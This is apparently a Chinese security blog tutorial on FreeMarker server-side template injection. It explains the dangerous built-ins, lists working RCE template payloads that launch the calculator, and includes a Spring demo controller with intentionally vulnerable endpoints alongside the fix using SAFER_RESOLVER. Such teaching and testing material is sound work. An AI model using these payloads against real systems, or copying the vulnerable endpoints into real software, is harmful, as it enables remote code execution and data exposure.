freemarker模版注入

模版注入漏洞根因(SSTI,服务器端模版注入)

由于模版内容部分或全部被外部控制,导致在模版加载或渲染到页面上时触发模版注入漏洞,模版注入漏洞一般可以造成RCE、敏感信息泄露和XSS,当模版被加载会触发RCE,当模版被渲染到页面上会触发敏感信息泄露和XSS。

freemarker介绍

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker类似XSLT模版,XSLT原理=xsl模版+xml数据,而Freemarker原理=flt模板+datamode

FreeMarker模板文件主要由如下4个部分组成:

  • (1)文本:直接输出的部分
  • (2)注释:使用<#-- ...-->格式做注释,里面内容不会输出
  • (3)插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出
  • (4)FTL指令:即FreeMarker指令,FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以 # 开头,用户自定义的FTL标签则需要使用 @ 来代替 #

Freemarker模版注入漏洞关键点

  • Freemarker注入的本质就是用户输入可以控制模版的内容,导致模版的结构发生改变。Freemarker的漏洞触发发生在两个地方,第一个就是模版被加载的时候,这个时候触发的是RCE,第二个就是内容被输出到页面后方位该页面的时候,这个时候触发的是XSS。

    FreeMarker内置函数:

    • new:可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。可以调用new的危险类:

      危险类说明
      freemarker.template.utility.JythonRuntime需额外安装依赖,否则报错
      freemarker.template.utility.Execute自带
      freemarker.template.utility.ObjectConstructor自带
    • API:value?api 提供对 value 的 API(通常是 Java API)的访问,由此可以使用危险的api函数

以下场景存在漏洞触发的风险:

  • 模版能够被用户控制
  • datamodel能够被用户控制

Freemarker大致代码如下:

Template template = configuration.getTemplate("freemarker_rce1.ftl");
Map map = new HashMap();
map.put("message", message);
Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");
template.process(map, out);

一旦模版文件被控制,就会在调用getTemplate触发漏洞,这是第一个场景;一旦map被控制,就会在调用process时将恶意的脚本渲染到页面中,当页面被访问就会触发漏洞,这是第二个场景

有关于内置函数api:

(1)如果想要在模版中调用某个方法或对象,需要将其传入datamodel

添加datamodel:

map.put("object", new Object());

调用object:

<#assign uri=object?api.getClass()><p>${uri}</p>

getClass即object的方法

(2)从 FreeMarker 版本 2.3.22 开始使用TemplateModelWithAPISupport规定可以使用的model:

ArrayModel: 用于表示 Java 中的数组。
BeanModel: 用于表示 JavaBeans,提供对属性和方法的访问。
BooleanModel: 用于表示布尔值。
CollectionModel: 用于表示 Java 集合。
DateModel: 用于表示日期和时间。
DefaultEnumerationAdapter: 将 Enumeration 适配为模板模型。
DefaultIterableAdapter: 将实现了 Iterable 接口的对象适配为模板模型。
DefaultIteratorAdapter: 将 Iterator 适配为模板模型。
DefaultListAdapter: 将 Java 的 List 适配为模板模型。
DefaultMapAdapter: 将 Map 适配为模板模型。
DefaultNonListCollectionAdapter: 将非列表类型的集合适配为模板模型。
EnumerationModel: 用于表示枚举值。
IteratorModel: 用于表示迭代器。
MapModel: 用于表示映射表。
NumberModel: 用于表示数字。
ResourceBundleModel: 用于表示资源束。
SimpleMapModel: 用于表示简单的映射表。
StringModel: 用于表示字符串。

比如,由于支持BeanModel,我们可以定义一个java Bean,实例化后通过DataModel传入到模版中,就目前看来,还没找到适合漏洞利用的一些api,参考连接中提供的部分POC与jdk 17似乎并不太适配,后续再看

另外还需要注意,支持以上Model的前提是setAPIBuiltinEnabled(true),以下是代码逻辑:

在这里插入图片描述

漏洞复现

java中支持Freemarker的依赖有以下两种:

  • spring boot:

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-freemarker</artifactId>
    </dependency>
    
  • maven自引

    <dependency>
        <groupId>org.freemarker</groupId>
        <artifactId>freemarker</artifactId>
        <version>2.3.32</version>
    </dependency>
    
  • 如果还需要jpython

    <dependency>
    	<groupId>org.python</groupId>
    	<artifactId>jython-standalone</artifactId>
    	<version>2.7.2</version>
    </dependency>
    

环境

jdk 17 + Freemarker 2.3.32 + jpython 2.7.2

引入依赖

<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.32</version>
</dependency>
<dependency>
	<groupId>org.python</groupId>
	<artifactId>jython-standalone</artifactId>
	<version>2.7.2</version>
</dependency>

poc

模版内容示例:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker rce</title>
</head>
<body>
<h3>
    show:${message}

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

  </h3>

</body>
</html>

(1)RCE

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("calc")}

<#assign ccc="freemarker.template.utility.Execute"?new()> ${ccc("calc")}

<#assign value="freemarker.template.utility.ObjectConst ructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

(2)XSS

插值注入,即向${...}#{...}格式的部分注入xss脚本即可

修复方案

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

  • UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类

  • SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。

  • ALLOWS_NOTHING_RESOLVER:不能解析任何类。

因此直接使用configuration.setNewBuiltinClassResolver设置为SAFER_RESOLVERALLOWS_NOTHING_RESOLVER即可,而对于危险内置函数api(api自2.3.22版本之后默认为false默认是关闭的),避免使用configuration.setAPIBuiltinEnabled(true);启用api即可

完整代码(包含修复)

package com.example.demo.vulnerability.template;

import freemarker.cache.MultiTemplateLoader;
import freemarker.cache.StringTemplateLoader;
import freemarker.cache.TemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.JythonRuntime;
import org.python.util.PythonInterpreter;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.net.URISyntaxException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


@RestController
public class FreeMarkerDemo {

    String TEMPLATE_PATH="C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\freemarker\\";
    //freemarker基本使用
    @GetMapping(value = "/template/freemarker")
    public void test() throws IOException, TemplateException {
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("freemarker_xss.ftl");
        //5.创建数据模型
        Map map = new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker.html");
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }

    //使用模版文件触发xss
    @GetMapping(value = "/template/freemarker/xss")
    public void xss(String name, String message) throws IOException, TemplateException {

        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        Template template = configuration.getTemplate("freemarker_xss.ftl");
        if (name==null){
            name = "hello world";
        }
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("name", name);
        map.put("message", message);

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_xss.html");

        template.process(map, out);

        out.close();
    }

    //恶意模版文件被加载导致RCE
    @GetMapping(value = "/template/freemarker/rce1")
    public void rce1(String message) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        configuration.setAPIBuiltinEnabled(true);

        Template template = configuration.getTemplate("freemarker_rce1.ftl");
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("message", message);

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");

        template.process(map, out);

        out.close();

    }

    //用户输入直接修改模版内容
    @PostMapping(value = "/template/freemarker/rce2")
    public void rce2(String content) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        //启用内置函数api,函数new默认是可以使用的,无需手动启用
        configuration.setAPIBuiltinEnabled(true);

        StringTemplateLoader stringLoader = new StringTemplateLoader();
        stringLoader.putTemplate("freemarker_rce2.ftl", content);
        configuration.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                configuration.getTemplateLoader()}));

        Template template = configuration.getTemplate("freemarker_rce2.ftl");

        Map map = new HashMap();

        map.put("object", new Object());
        map.put("file",new String(Files.readAllBytes(Paths.get("C:\\code\\java\\demo\\demo\\src\\main\\resources\\application.properties"))));

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce2.html");
        template.process(map, out);

        out.close();



    }

    //修复
    @GetMapping(value = "/template/freemarker/repair1")
    public void repair1(String message) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        Template template = configuration.getTemplate("freemarker_rce1.ftl");

        //禁止使用ObjectConstructor和Execute,另外api自2.3.22版本之后默认为false默认是关闭的
        //2.3.17版本开始可以设置此配置,
        configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("message", message);

        Writer out = new FileWriter(new File(TEMPLATE_PATH+"freemarker_rce.html"));
        try{
            template.process(map, out);
        }catch (Exception e){
            System.out.println(e);
        }

        out.close();
    }

    public static void main(String[] args) throws URISyntaxException, IOException {
        //jython测试
//        PythonInterpreter interpreter = new PythonInterpreter();
        PythonInterpreter interpreter = new JythonRuntime();
//        new JythonRuntime();
        // 可以设置变量供 Python 脚本使用
        interpreter.set("myVar", "Hello, World!");

        // 执行 Python 脚本
        try {
            interpreter.exec("import os;os.system(\"calc\")");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值